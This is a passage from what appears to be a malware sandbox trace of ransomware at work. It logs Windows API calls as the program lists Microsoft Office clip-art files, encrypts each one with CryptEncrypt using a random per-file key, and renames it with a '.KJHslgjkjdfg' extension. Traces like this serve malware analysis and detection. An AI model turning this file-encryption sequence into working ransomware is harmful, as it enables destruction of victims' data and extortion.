returned 1 [0204.566] CloseHandle (hObject=0x130) returned 1 [0204.567] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1 [0204.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.567] GetProcessHeap () returned 0x2ef0000 [0204.567] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.567] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.567] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.567] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.569] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.569] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.570] GetProcessHeap () returned 0x2ef0000 [0204.570] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.570] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.570] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.570] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.570] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.570] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.570] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.570] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1484, lpOverlapped=0x0) returned 1 [0204.571] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1490, dwBufLen=0x1490 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1490) returned 1 [0204.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.572] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1490, lpOverlapped=0x0) returned 1 [0204.572] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.572] SetEndOfFile (hFile=0x130) returned 1 [0204.574] GetProcessHeap () returned 0x2ef0000 [0204.574] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.575] GetProcessHeap () returned 0x2ef0000 [0204.575] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.kjhslgjkjdfg")) returned 1 [0204.576] CloseHandle (hObject=0x130) returned 1 [0204.576] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1 [0204.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.577] GetProcessHeap () returned 0x2ef0000 [0204.577] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.577] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.577] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0204.579] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.579] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.579] GetProcessHeap () returned 0x2ef0000 [0204.579] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.579] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.579] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.579] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.579] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.580] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.580] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.580] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.580] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.580] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.580] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd9a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd9a, lpOverlapped=0x0) returned 1 [0204.580] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xda0, dwBufLen=0xda0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xda0) returned 1 [0204.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.580] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xda0, lpOverlapped=0x0) returned 1 [0204.580] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.581] SetEndOfFile (hFile=0x130) returned 1 [0204.583] GetProcessHeap () returned 0x2ef0000 [0204.583] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.583] GetProcessHeap () returned 0x2ef0000 [0204.583] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.kjhslgjkjdfg")) returned 1 [0204.585] CloseHandle (hObject=0x130) returned 1 [0204.585] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1 [0204.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.586] GetProcessHeap () returned 0x2ef0000 [0204.586] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.586] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.586] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.588] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.588] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.588] GetProcessHeap () returned 0x2ef0000 [0204.588] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.588] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.588] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.588] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.588] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.588] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.588] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.588] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.589] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.589] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ca8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ca8, lpOverlapped=0x0) returned 1 [0204.589] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1cb0) returned 1 [0204.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.590] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1cb0, lpOverlapped=0x0) returned 1 [0204.590] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.590] SetEndOfFile (hFile=0x130) returned 1 [0204.592] GetProcessHeap () returned 0x2ef0000 [0204.592] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.592] GetProcessHeap () returned 0x2ef0000 [0204.592] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.kjhslgjkjdfg")) returned 1 [0204.594] CloseHandle (hObject=0x130) returned 1 [0204.594] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1 [0204.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.595] GetProcessHeap () returned 0x2ef0000 [0204.595] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.595] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.596] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0204.598] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.598] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.598] GetProcessHeap () returned 0x2ef0000 [0204.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.598] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.598] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.598] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.598] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.599] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.599] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.599] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8ad6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8ad6, lpOverlapped=0x0) returned 1 [0204.600] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8ae0, dwBufLen=0x8ae0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8ae0) returned 1 [0204.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.601] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8ae0, lpOverlapped=0x0) returned 1 [0204.601] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.601] SetEndOfFile (hFile=0x130) returned 1 [0204.604] GetProcessHeap () returned 0x2ef0000 [0204.604] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.604] GetProcessHeap () returned 0x2ef0000 [0204.604] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.kjhslgjkjdfg")) returned 1 [0204.606] CloseHandle (hObject=0x130) returned 1 [0204.606] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1 [0204.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.608] GetProcessHeap () returned 0x2ef0000 [0204.608] RtlAllocateHeap 